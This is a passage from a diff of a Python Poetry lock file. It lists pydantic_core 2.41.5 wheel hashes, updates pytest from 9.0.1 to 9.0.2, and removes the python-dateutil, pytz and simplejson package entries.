{file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815"},
|
||||
{file = "pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11"},
|
||||
{file = "pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c"},
|
||||
{file = "pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-win32.whl", hash = "sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460"},
|
||||
{file = "pydantic_core-2.41.5-cp39-cp39-win_amd64.whl", hash = "sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b"},
|
||||
{file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034"},
|
||||
{file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c"},
|
||||
{file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2"},
|
||||
{file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad"},
|
||||
{file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd"},
|
||||
{file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc"},
|
||||
{file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56"},
|
||||
{file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963"},
|
||||
{file = "pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f"},
|
||||
{file = "pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51"},
|
||||
{file = "pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1145,14 +521,14 @@ windows-terminal = ["colorama (>=0.4.6)"]
|
||||
|
||||
[[package]]
|
||||
name = "pytest"
|
||||
version = "9.0.1"
|
||||
version = "9.0.2"
|
||||
description = "pytest: simple powerful testing with Python"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pytest-9.0.1-py3-none-any.whl", hash = "sha256:67be0030d194df2dfa7b556f2e56fb3c3315bd5c8822c6951162b92b32ce7dad"},
|
||||
{file = "pytest-9.0.1.tar.gz", hash = "sha256:3e9c069ea73583e255c3b21cf46b8d3c56f6e3a1a8f6da94ccb0fcf57b9d73c8"},
|
||||
{file = "pytest-9.0.2-py3-none-any.whl", hash = "sha256:711ffd45bf766d5264d487b917733b453d917afd2b0ad65223959f59089f875b"},
|
||||
{file = "pytest-9.0.2.tar.gz", hash = "sha256:75186651a92bd89611d1d9fc20f0b4345fd827c41ccd5c299a868a05d70edf11"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1165,33 +541,6 @@ pygments = ">=2.7.2"
|
||||
[package.extras]
|
||||
dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"]
|
||||
|
||||
[[package]]
|
||||
name = "python-dateutil"
|
||||
version = "2.9.0.post0"
|
||||
description = "Extensions to the standard Python datetime module"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"},
|
||||
{file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
six = ">=1.5"
|
||||
|
||||
[[package]]
|
||||
name = "pytz"
|
||||
version = "2025.2"
|
||||
description = "World timezone definitions, modern and historical"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00"},
|
||||
{file = "pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pyyaml"
|
||||
version = "6.0.3"
|
||||
@@ -1557,138 +906,6 @@ files = [
|
||||
{file = "shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "simplejson"
|
||||
version = "3.20.2"
|
||||
description = "Simple, fast, extensible JSON encoder/decoder for Python"
|
||||
optional = false
|
||||
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.5"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "simplejson-3.20.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:11847093fd36e3f5a4f595ff0506286c54885f8ad2d921dfb64a85bce67f72c4"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:4d291911d23b1ab8eb3241204dd54e3ec60ddcd74dfcb576939d3df327205865"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:da6d16d7108d366bbbf1c1f3274662294859c03266e80dd899fc432598115ea4"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9ddf9a07694c5bbb4856271cbc4247cc6cf48f224a7d128a280482a2f78bae3d"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:3a0d2337e490e6ab42d65a082e69473717f5cc75c3c3fb530504d3681c4cb40c"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:8ba88696351ed26a8648f8378a1431223f02438f8036f006d23b4f5b572778fa"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:00bcd408a4430af99d1f8b2b103bb2f5133bb688596a511fcfa7db865fbb845e"},
|
||||
{file = "simplejson-3.20.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:4fc62feb76f590ccaff6f903f52a01c58ba6423171aa117b96508afda9c210f0"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:6d7286dc11af60a2f76eafb0c2acde2d997e87890e37e24590bb513bec9f1bc5"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c01379b4861c3b0aa40cba8d44f2b448f5743999aa68aaa5d3ef7049d4a28a2d"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a16b029ca25645b3bc44e84a4f941efa51bf93c180b31bd704ce6349d1fc77c1"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e22a5fb7b1437ffb057e02e1936a3bfb19084ae9d221ec5e9f4cf85f69946b6"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8b6ff02fc7b8555c906c24735908854819b0d0dc85883d453e23ca4c0445d01"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2bfc1c396ad972ba4431130b42307b2321dba14d988580c1ac421ec6a6b7cee3"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a97249ee1aee005d891b5a211faf58092a309f3d9d440bc269043b08f662eda"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f1036be00b5edaddbddbb89c0f80ed229714a941cfd21e51386dc69c237201c2"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5d6f5bacb8cdee64946b45f2680afa3f54cd38e62471ceda89f777693aeca4e4"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8db6841fb796ec5af632f677abf21c6425a1ebea0d9ac3ef1a340b8dc69f52b8"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c0a341f7cc2aae82ee2b31f8a827fd2e51d09626f8b3accc441a6907c88aedb7"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-win32.whl", hash = "sha256:27f9c01a6bc581d32ab026f515226864576da05ef322d7fc141cd8a15a95ce53"},
|
||||
{file = "simplejson-3.20.2-cp310-cp310-win_amd64.whl", hash = "sha256:c0a63ec98a4547ff366871bf832a7367ee43d047bcec0b07b66c794e2137b476"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:06190b33cd7849efc413a5738d3da00b90e4a5382fd3d584c841ac20fb828c6f"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4ad4eac7d858947a30d2c404e61f16b84d16be79eb6fb316341885bdde864fa8"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b392e11c6165d4a0fde41754a0e13e1d88a5ad782b245a973dd4b2bdb4e5076a"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:51eccc4e353eed3c50e0ea2326173acdc05e58f0c110405920b989d481287e51"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:306e83d7c331ad833d2d43c76a67f476c4b80c4a13334f6e34bb110e6105b3bd"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f820a6ac2ef0bc338ae4963f4f82ccebdb0824fe9caf6d660670c578abe01013"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21e7a066528a5451433eb3418184f05682ea0493d14e9aae690499b7e1eb6b81"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:438680ddde57ea87161a4824e8de04387b328ad51cfdf1eaf723623a3014b7aa"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:cac78470ae68b8d8c41b6fca97f5bf8e024ca80d5878c7724e024540f5cdaadb"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7524e19c2da5ef281860a3d74668050c6986be15c9dd99966034ba47c68828c2"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0e9b6d845a603b2eef3394eb5e21edb8626cd9ae9a8361d14e267eb969dbe413"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-win32.whl", hash = "sha256:47d8927e5ac927fdd34c99cc617938abb3624b06ff86e8e219740a86507eb961"},
|
||||
{file = "simplejson-3.20.2-cp311-cp311-win_amd64.whl", hash = "sha256:ba4edf3be8e97e4713d06c3d302cba1ff5c49d16e9d24c209884ac1b8455520c"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:4376d5acae0d1e91e78baeba4ee3cf22fbf6509d81539d01b94e0951d28ec2b6"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:f8fe6de652fcddae6dec8f281cc1e77e4e8f3575249e1800090aab48f73b4259"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:25ca2663d99328d51e5a138f22018e54c9162438d831e26cfc3458688616eca8"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12a6b2816b6cab6c3fd273d43b1948bc9acf708272074c8858f579c394f4cbc9"},
|
||||
{file = "simplejson-3.20.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac20dc3fcdfc7b8415bfc3d7d51beccd8695c3f4acb7f74e3a3b538e76672868"},
|
||||
